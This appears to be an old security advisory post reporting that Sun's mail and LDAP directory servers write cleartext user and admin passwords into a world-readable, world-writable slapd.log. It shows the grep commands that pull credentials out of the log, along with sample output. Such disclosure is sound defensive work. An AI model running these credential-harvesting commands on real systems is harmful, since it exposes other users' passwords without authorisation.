    SIMS 3.x (Sun Internet Mail Server) and SDS 1.x & 3.1 (Sun LDAP
    Directory services) vulnerability.
    
    /var/opt/SUNWconn/ldap/log/slapd.log  is used to log ldap
    connects/operations.
    
    I won't waste a lot of typing on detailing the problem, perhaps this
    simple example will suffice:
    
    % cd /var/opt/SUNWconn/ldap/log/
    % ls -l slapd.log
    
    -rw-rw-rw-   1 root     root       33519 Dec 16 16:00 slapd.log
    
    % grep password slapd.log
    
    Wed Dec 16 12:55 : conn=41 op=2 SRCH base="CN=Joe T. User
    (joet),OU=People,O=email,C=US" scope=2 filter="(userpassword=bettysue)"
    
    % grep passwd | grep admin
    
    Wed Dec 16 12:55 : conn=41 op=2 SRCH base="CN=admin
    (admin),OU=People,O=email,C=US" scope=2 filter="(userpassword=secret)"
    
    
    <sigh> yes folks, world readable (and writable for that matter) and
    clear text passwords and uids of all those folks logging into the IMAP
    server to check mail, etc. and on a machine that users can log into.
    
    Almost takes all the fun out of it.
